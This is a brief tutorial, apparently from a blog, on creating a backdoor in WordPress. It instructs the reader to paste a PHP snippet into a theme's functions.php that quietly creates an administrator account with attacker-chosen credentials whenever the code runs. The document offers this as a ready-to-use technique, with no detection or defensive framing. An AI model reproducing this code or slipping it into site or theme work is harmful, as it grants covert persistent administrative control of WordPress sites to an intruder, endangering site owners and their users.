How backdoors can be created in WordPress?

In this tutorial, we’ll discuss how backdoors can be created in WordPress

  • Open the functions.php file of a WordPress theme.
  • Insert the following code snippet at the beginning or end of the file:
$username = 'backdooruser';
$password = 'backdoorpassword';
$email = 'backdoor@example.com';

if (!username_exists($username)) {
    $user_id = wp_create_user($username, $password, $email);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
}
  • Replace ‘backdooruser’, ‘backdoorpassword’, and ‘backdoor@example.com‘ with your desired username, password, and email address.
  • This code creates a new administrator user if the specified username doesn’t already exist.
